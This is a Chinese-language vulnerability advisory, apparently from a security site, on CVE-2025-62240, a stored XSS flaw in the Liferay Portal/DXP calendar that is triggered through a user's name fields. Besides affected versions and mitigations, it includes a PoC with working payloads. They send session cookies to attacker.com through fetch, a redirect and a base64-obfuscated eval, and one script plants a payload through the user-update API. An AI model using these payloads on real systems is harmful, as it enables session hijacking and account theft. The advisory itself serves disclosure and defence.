IPBUF安全漏洞报告
English
CVE-2025-62240 CVSS 5.4 中危

CVE-2025-62240:Liferay Portal/DXP 日历事件跨站脚本漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-62240
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Liferay Portal 和 Liferay DXP

相关标签

XSS跨站脚本CVE-2025-62240Liferay PortalLiferay DXP存储型XSS日历组件中危漏洞Web安全输入验证缺陷

漏洞概述

CVE-2025-62240 是 Liferay Portal 和 Liferay DXP 产品中存在的多个跨站脚本(XSS)漏洞。该漏洞存在于日历(Calendar)事件功能模块中,允许远程攻击者通过在用户的姓名字段(包括 First Name 名字、Middle Name 中间名和 Last Name 姓氏)中注入特制的恶意脚本来执行任意 Web 脚本或 HTML 代码。

该漏洞影响范围广泛,涵盖 Liferay Portal 7.4.3.35 至 7.4.3.111 版本,以及 Liferay DXP 的多个版本线,包括 2023.Q4.0 至 2023.Q4.5、2023.Q3.1 至 2023.Q3.7、7.4 update 35 至 update 92 和 7.3 update 25 至 update 36。

根据 CVSS 3.1 评分标准,该漏洞评分为 5.4 分,属于中危级别。攻击者需要具备低权限(PR:L)并需要用户交互(UI:R)才能成功利用漏洞。攻击向量为网络(AV:N),攻击复杂度低(AC:L)。成功利用后,攻击者可以在受害者的浏览器上下文中执行恶意脚本,可能导致会话劫持、敏感信息窃取、钓鱼攻击或恶意操作等后果。该漏洞由 [email protected] 报告,并于 2025 年 10 月 9 日公开披露。

技术细节

该漏洞的核心原理在于 Liferay Portal/DXP 的日历事件模块在处理用户姓名信息时,未对用户的 First Name(名字)、Middle Name(中间名)和 Last Name(姓氏)字段进行充分的输入验证和输出编码。当这些姓名数据被嵌入到日历事件的展示页面中时,攻击者注入的恶意脚本或 HTML 代码会被浏览器解析执行。

技术利用方式如下:
1. 攻击者首先需要拥有 Liferay 系统的合法账户(低权限即可)。
2. 攻击者在用户个人资料中将 First Name、Middle Name 或 Last Name 字段修改为包含恶意 JavaScript 或 HTML 标签的 payload,例如:
- `<script>alert(document.cookie)</script>`
- `<img src=x onerror=alert(1)>`
- `<svg onload=fetch('https://attacker.com/?c='+document.cookie)>`
3. 当其他用户(包括管理员)查看包含该用户信息的日历事件时,恶意脚本将在受害者浏览器中执行。
4. 由于漏洞涉及作用域变更(S:C),脚本可能影响到日历组件之外的区域,扩大攻击影响范围。

该漏洞属于存储型 XSS(Stored XSS),因为恶意 payload 存储在用户资料中,每次日历事件被查看时都会触发执行,具有持久性和广泛传播性。

攻击链分析

STEP 1
步骤1:获取账户
攻击者通过注册或社会工程学手段获取 Liferay Portal/DXP 系统的合法低权限账户。
STEP 2
步骤2:注入恶意 Payload
攻击者在其用户个人资料中,将 First Name、Middle Name 或 Last Name 字段修改为包含恶意 JavaScript/HTML 代码的 payload,如 <script> 标签、<img onerror> 或 <svg onload> 等。
STEP 3
步骤3:触发日历事件展示
攻击者创建或参与日历事件,确保其姓名信息会在事件详情页面中被渲染展示。
STEP 4
步骤4:受害者查看事件
当其他用户(包括管理员)查看包含攻击者信息的日历事件时,恶意脚本在受害者浏览器中执行。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者上下文中执行,可窃取会话 Cookie、重定向到钓鱼页面、进行权限提升或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62240 PoC - Stored XSS via User Name Fields in Liferay Calendar --> <!-- Step 1: Attacker logs into Liferay Portal/DXP with a low-privilege account --> <!-- Step 2: Navigate to User Profile settings and modify name fields with malicious payload --> <!-- Payload for First Name field --> <script>alert('XSS via First Name');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Payload for Middle Name field --> <img src=x onerror="fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify({cookie:document.cookie,url:document.location.href})})"> <!-- Payload for Last Name field --> <svg/onload=eval(atob('ZmV0Y2goImh0dHBzOi8vYXR0YWNrZXIuY29tLz9kYXRhPSIrZG9jdW1lbnQuY29va2llKQ=='))> <!-- Step 3: Create or participate in a Calendar event that displays the attacker's user name --> <!-- Step 4: When any victim (including admin) views the calendar event, the XSS payload executes --> <!-- Automated exploitation script --> <script> // Simulating the attack flow const maliciousPayload = '<img src=x onerror=alert(document.domain)>'; // Attacker sets First Name to maliciousPayload via Liferay API fetch('/api/jsonws/user/update-user', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ firstName: maliciousPayload, middleName: '', lastName: 'TestUser' }) }).then(r => console.log('Payload stored')); // When victim views calendar event containing this user, XSS triggers </script>

影响范围

Liferay Portal 7.4.3.35 - 7.4.3.111
Liferay DXP 2023.Q4.0 - 2023.Q4.5
Liferay DXP 2023.Q3.1 - 2023.Q3.7
Liferay DXP 7.4 update 35 - update 92
Liferay DXP 7.3 update 25 - update 36

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)对用户姓名字段的输入进行白名单过滤,仅允许字母、数字和常见标点符号;2)在日历事件展示页面部署 Web 应用防火墙(WAF)规则,拦截常见的 XSS payload;3)配置 HTTP 响应头添加 Content-Security-Policy、X-XSS-Protection 等安全头;4)限制低权限用户的姓名修改权限,要求管理员审核;5)定期审计用户资料中的异常字符和脚本标签;6)将会话 Cookie 设置为 HttpOnly 和 Secure 属性,降低 XSS 窃取会话的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表